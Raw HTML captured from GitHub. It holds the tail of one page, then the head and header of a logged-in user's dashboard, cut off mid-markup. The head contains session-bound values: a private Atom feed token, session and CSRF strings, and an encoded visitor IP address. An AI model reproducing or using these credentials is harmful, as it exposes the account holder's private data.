class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> <span class="js-stale-session-flash-signed-in" hidden>You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span> <span class="js-stale-session-flash-signed-out" hidden>You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details> </template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div> </div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path> </svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> </clipboard-copy> </div> </template> <style> .user-mention[href$="/chikitang"] { color: var(--color-user-mention-fg); background-color: var(--color-user-mention-bg); border-radius: 2px; margin-left: -2px; margin-right: -2px; padding: 0 2px; } </style> </body> </html>
NhaPhatHanh
<!DOCTYPE html> <html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link crossorigin="anonymous" media="all" integrity="sha512-7KjiGvJiLLy6LJPGf3m67ejAdgQsgDdnxZYoaI6+Agd0ZxHKTCjoKZgaf3PgUjURCcVceAwySJJJWgitRskDiA==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-eca8e21af2622cbcba2c93c67f79baed.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-ZS0ILXChK0v6MFarr5VP2Qq916nqPSByfcud8IEvgXav8xbAAafFHX22IuZOi5/ZkKbLgOmqFkezGZVyANnFrQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-652d082d70a12b4bfa3056abaf954fd9.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-ec37dkdwRxMnZ+C8WVJL5fX0MDw39MbZDqmjBB3JFemYXHZrq3E3F25pcbYUEmuB29eH0L5f+KOgO+FQNEFTgw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-79cdfb76477047132767e0bc59524be5.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-CzeY4A6TiG4fGZSWZU8FxmzFFmcQFoPpArF0hkH0/J/S7UL4eed/LKEXMQXfTwiG5yEJBI+9BdKG8KQJNbhcIQ==" type="application/javascript" src="https://github.githubassets.com/assets/environment-0b3798e0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ahOZvzpz/+SYFONmTAqBCwF04p4zvYweAHl7o69sVAwf0oxqMEyVZa//FnA859IbgU9lzj55LagjePKStkjwpw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-6a1399bf.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-+1BN8W3XvQeL2HiktoDjb/NDm2W8tp9hDUb+NL4vabH/tvhdLZIdE9tYL3xRh6HDsc7JpvlTmu2m7CllRB+QYA==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-fb504df1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ujoCDv+gZj/v2aljXWMjKWNPoZ/QeENSASFGNBTO7smC7I/GC8hPqneWuaD2coIvzq6i7mLCLbg/SG39CdT1qA==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-ba3a020e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tjuNQcwhEIXGvVIG4XM/Aj4z+Od+NBRkbgWNwEMjGL3nsnAmdoBdbzsn/WTvl3hk+TPt1D0BvBLHLBPgiwvT2w==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-b63b8d41.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-+BKEtK9JkmJ52jKSoX6+SBrGV6kJxB8J/iAPkFQ/oeq8YekNcz7IZlJgM5Tddyx1RrkL3+sdG0tAy3YuFbYqfA==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-f81284b4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EKOvqJ9uTatAt87WxU+OSS4mi7gMUszFbGo4aPErQkjpWLXnrPSeZvK5ngU8OYoIoiVOq+v8dA3C6MF/z2d/kA==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-10a3afa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zkYZSjUFqSifB+Lt76jclFMrfqpcPqevT801RZcoBNCZHRTBKcFrW9OyJoPOzKFv+fZVDRnqdqGsuIv5KOIgZg==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-ce46194a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6j/oSF+kbW+yetNPvI684VzAu9pzug6Vj2h+3u1LdCuRhR4jnuiHZfeQKls3nxcT/S3H+oIt7FtigE/aeoj+gg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-ea3fe848.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-N+ziqJjVMfWiqeVHdayDHpNRlG5HsF+cgV+pFnMDoTJuvBzgw+ndsepe4NcKAxIS3WMvzMaQcYmd2vrIaoAJVg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-37ece2a8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aiqMIGGZGo8AQMjcoImKPMTsZVVRl6htCSY7BpRmpGPG/AF+Wq+P/Oj/dthWQOIk9cCNMPEas7O2zAR6oqn0tA==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-6a2a8c20.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-G3/1Wo8nza2llJz848q++KJXUpeUuHcSDvXLcJzqQZDBLXm/PaOchsesQlyxX/3bXdasUpOE217R8Ln6vTqMHA==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-1b7ff55a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-XwuQdORq1W9Z+a/i72pH+NfR1rhwlGdxIlaIBbTciscGc/+McxMNLixGBp8e6Td4W1zzHvQ1Jyryl5gUfEr76g==" type="application/javascript" data-module-id="./chunk-insights-graph.js" data-src="https://github.githubassets.com/assets/chunk-insights-graph-5f0b9074.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-cdGVmQXhZYV6/Qj5QsArM/LjCG6qatgnsAE6W5y9UOHI+J2NdRU7l3IPlxh1zKNwgt5FWXnvrpyEIL7pc3aihg==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-71d19599.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-supZkxo+OPYLNtLXxI+e1dkCqVySu4FOWX1fiVVFs2ZggygppNsEz4F9wVp4YtH2TjFsZW8r/75uDUhPneO2sA==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-b2ea5993.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ma0OOy3nj0c1cqBx0BkcmIFsLqcSZ+MIukQxyEFM/OWTzZpG+QMgOoWPAHZz43M6fyjAUG1jH6c/6LPiiKPCyw==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-99ad0e3b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zh+tYYvd4W00us1O4PkhmKsl/CzInIyrdoMqV2xqC7XPu06UEHfEMJfOiwidJ5f80SwrdGWogWFuJzLHwRbRgA==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-ce1fad61.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Zii9oRdZ6q2QDNjL5A+me7jwJjMLvs1NiQNHmajUZnn4t9shcBDb4F8l/PQZW26eYfe5065oM7lIOSmbMinA7Q==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-6628bda1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-9WNXtB07IyWypiPmkuucspwog4mme9q5GKGMSgd7FI0DPimmg/pEw+aaAofFV1vuWMt9I8H5QpsVtlbHGg1YBA==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-f56357b4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-fIq9Mn7jY/bHQXnsmh+VejpDnaO+d/FDxsp+4CuZtdNLrLuO+dQCjh+m6Yd8GCYD2Cy6DWbCEyM+mH2dkB2H9A==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-7c8abd32.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-WK8VXw3lfUQ/VRW0zlgKPhcMUqH0uTnB/KzePUPdZhCm/HpxfXXHKTGvj5C0Oex7+zbIM2ECzULbtTCT4ug3yg==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-58af155f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vgHJEmEJxNmHucGbVY8bEUoOYo5/ZwpQ69rU8Dld89daWJ54uad9lNptxq32F8pnbHhdngw9lohNEbMbjmj5AQ==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-be01c912.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aSxfTHAZj9wv7n08DxgAKkNg7jhiTo4yKKbDqLGxcDxUk/al571Y2ZSsOmLJ0Vh8cuAL8tW+JgX1t0JeKfyfaA==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-692c5f4c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FTzn67VUikEWGXoKpUjZgeuNXoI9NQXyuzSfVmtG0gFTy7QZykAwRn4RSvGXc/CPyWYkdiDNlbc0vtP9jfG61w==" type="application/javascript" src="https://github.githubassets.com/assets/dashboard-153ce7eb.js"></script> <meta name="viewport" content="width=device-width"> <title>GitHub</title> <meta name="description" content="GitHub is where people build software. More than 56 million people use GitHub to discover, fork, and contribute to over 100 million projects."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta property="og:url" content="https://github.com"> <meta property="og:site_name" content="GitHub"> <meta property="og:title" content="Build software better, together"> <meta property="og:description" content="GitHub is where people build software. More than 56 million people use GitHub to discover, fork, and contribute to over 100 million projects."> <meta property="og:image" content="https://github.githubassets.com/images/modules/open_graph/github-logo.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="1200"> <meta property="og:image:height" content="1200"> <meta property="og:image" content="https://github.githubassets.com/images/modules/open_graph/github-mark.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="1200"> <meta property="og:image:height" content="620"> <meta property="og:image" content="https://github.githubassets.com/images/modules/open_graph/github-octocat.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="1200"> <meta property="og:image:height" content="620"> <meta property="twitter:site" content="github"> <meta property="twitter:site:id" content="13334762"> <meta property="twitter:creator" content="github"> <meta property="twitter:creator:id" content="13334762"> <meta property="twitter:card" content="summary_large_image"> <meta property="twitter:title" content="GitHub"> <meta property="twitter:description" content="GitHub is where people build software. More than 56 million people use GitHub to discover, fork, and contribute to over 100 million projects."> <meta property="twitter:image:src" content="https://github.githubassets.com/images/modules/open_graph/github-logo.png"> <meta property="twitter:image:width" content="1200"> <meta property="twitter:image:height" content="1200"> <link rel="assets" href="https://github.githubassets.com/"> <link rel="shared-web-socket" href="wss://alive.github.com/_sockets/u/83227313/ws?session=eyJ2IjoiVjMiLCJ1Ijo4MzIyNzMxMywicyI6Njg3OTQzNzU5LCJjIjoxNzgwMjY2MzEwLCJ0IjoxNjE5NTk4OTc0fQ==--c3828368f62e5243e4f48fa946e4cfc901339ea447cd91fb7d9c84f1f918ba2d" data-refresh-url="/_alive" data-session-id="434d9062d48df3ef96d852e9530bffcd43b5ef7fc95d10b99f9259a01724d4ae"> <link rel="shared-web-socket-src" href="/socket-worker-3f088aa2.js"> <link rel="sudo-modal" href="/sessions/sudo_modal"> <meta name="request-id" content="869E:5293:1271A18:13DD4CF:60891E7B" data-pjax-transient="true" /><meta name="html-safe-nonce" content="8fff3e2bd7a4e7ef7b124494a7aecd900fa18b89ccc8e744b383b54609c6385b" data-pjax-transient="true" /><meta name="visitor-payload" content="eyJyZWZlcnJlciI6Imh0dHBzOi8vZ2l0aHViLmNvbS9nYW12aXA4OGNsdWIvc3VtdmlwLmNsdWIvYnJhbmNoZXMiLCJyZXF1ZXN0X2lkIjoiODY5RTo1MjkzOjEyNzFBMTg6MTNERDRDRjo2MDg5MUU3QiIsInZpc2l0b3JfaWQiOiIxMDc0Nzc4MDMzNzI0Mzk4MDMxIiwicmVnaW9uX2VkZ2UiOiJzZWEiLCJyZWdpb25fcmVuZGVyIjoiaWFkIn0=" data-pjax-transient="true" /><meta name="visitor-hmac" content="e9d28d753ba777482b0c264851595223f43c098f7f8ab654c5d73430fc20f3e7" data-pjax-transient="true" /> <meta name="page-subject" content="GitHub"> <meta name="github-keyboard-shortcuts" content="dashboards" data-pjax-transient="true" /> <meta name="selected-link" value="/" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-host" content="collector.githubapp.com" /><meta name="octolytics-app-id" content="github" /><meta name="octolytics-event-url" content="https://collector.githubapp.com/github-external/browser_event" /><meta name="octolytics-actor-id" content="83227313" /><meta name="octolytics-actor-login" content="NhaPhatHanh" /><meta name="octolytics-actor-hash" content="9b8cad704be56bcd058f36fbc9c7a3cfe249ef30c8807472fa126f9d85300648" /> <meta name="analytics-location" content="/dashboard" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content="NhaPhatHanh"> <meta name="expected-hostname" content="github.com"> <meta name="js-proxy-site-detection-payload" content="NGM1ZjljNzQ5NGM3ODA0NzZmNGNhMTRjODZmZDliNTNmYmJjZGI1NDJmODI3NmNiNDVkZjQyYzQ4YTk1NmNjNHx7InJlbW90ZV9hZGRyZXNzIjoiMTEzLjE3Ni42OS4xNDIiLCJyZXF1ZXN0X2lkIjoiODY5RTo1MjkzOjEyNzFBMTg6MTNERDRDRjo2MDg5MUU3QiIsInRpbWVzdGFtcCI6MTYxOTU5ODk3NCwiaG9zdCI6ImdpdGh1Yi5jb20ifQ=="> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,AUTOCOMPLETE_EMOJIS_IN_MARKDOWN_EDITOR,GITHUB_TOKEN_PERMISSION,ACTIONS_CONCURRENCY_UI"> <meta http-equiv="x-pjax-version" content="48692bebf52b02afe08f94676411ebf21e58818307dcc45d253ded05ea2eb555"> <link rel="alternate" type="application/atom+xml" title="ATOM" href="/NhaPhatHanh.private.atom?token=AT27FMIJVILZOGSH5R3CXU56ST7X4" /> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"> <meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-in env-production page-responsive full-width" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> <a href="#start-of-content" class="p-3 color-bg-info-inverse color-text-white show-on-focus js-skip-to-content">Skip to content</a> <span class="progress-pjax-loader width-full js-pjax-loader-bar Progress position-fixed"> <span style="background-color: #79b8ff;width: 0%;" class="Progress-item progress-pjax-loader-bar "></span> </span> <header class="Header js-details-container Details px-3 px-md-4 px-lg-5 flex-wrap flex-md-nowrap" role="banner" > <div class="Header-item mt-n1 mb-n1 d-none d-md-flex"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-ga-click="Header, go to dashboard, icon:logo"> <svg class="octicon octicon-mark-github v-align-middle" height="32" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> </a> </div> <div class="Header-item d-md-none"> <button class="Header-link btn-link js-details-target" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-three-bars" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> <div class="Header-item Header-item--full flex-column flex-md-row width-full flex-order-2 flex-md-order-none mr-0 mr-md-3 mt-3 mt-md-0 Details-content--hidden-not-important d-md-flex"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 js-jump-to" role="combobox" aria-owns="jump-to-results" aria-label="Search or jump to" aria-haspopup="listbox" aria-expanded="false" > <div class="position-relative"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="js-site-search-form" role="search" aria-label="Site" data-unscoped-search-url="/search" action="/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus " data-hotkey="s,/" name="q" value="" placeholder="Search or jump to…" data-unscoped-placeholder="Search or jump to…" data-scoped-placeholder="Search or jump to…" autocapitalize="off" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search or jump to…" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" value="ZEYYtxq4/KKxJUDZsVrWLnrgLICx4DuMq0fmn3loykZHloZgOOlXukgdMLSgVgWdeBUU/LvldTl4X8jTtfzA8Q==" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" /> <input type="hidden" class="js-site-search-type-field" name="type" > <img src="https://github.githubassets.com/images/search-key-slash.svg" alt="" class="mr-2 header-search-key-slash"> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <ul class="d-none js-jump-to-suggestions-template-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="suggestion"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> </ul> <ul class="d-none js-jump-to-no-results-template-container"> <li class="d-flex flex-justify-center flex-items-center f5 d-none js-jump-to-suggestion p-2"> <span class="color-text-secondary">No suggested jump to results</span> </li> </ul> <ul id="jump-to-results" role="listbox" class="p-0 m-0 js-navigation-container jump-to-suggestions-results-container js-jump-to-suggestions-results-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left 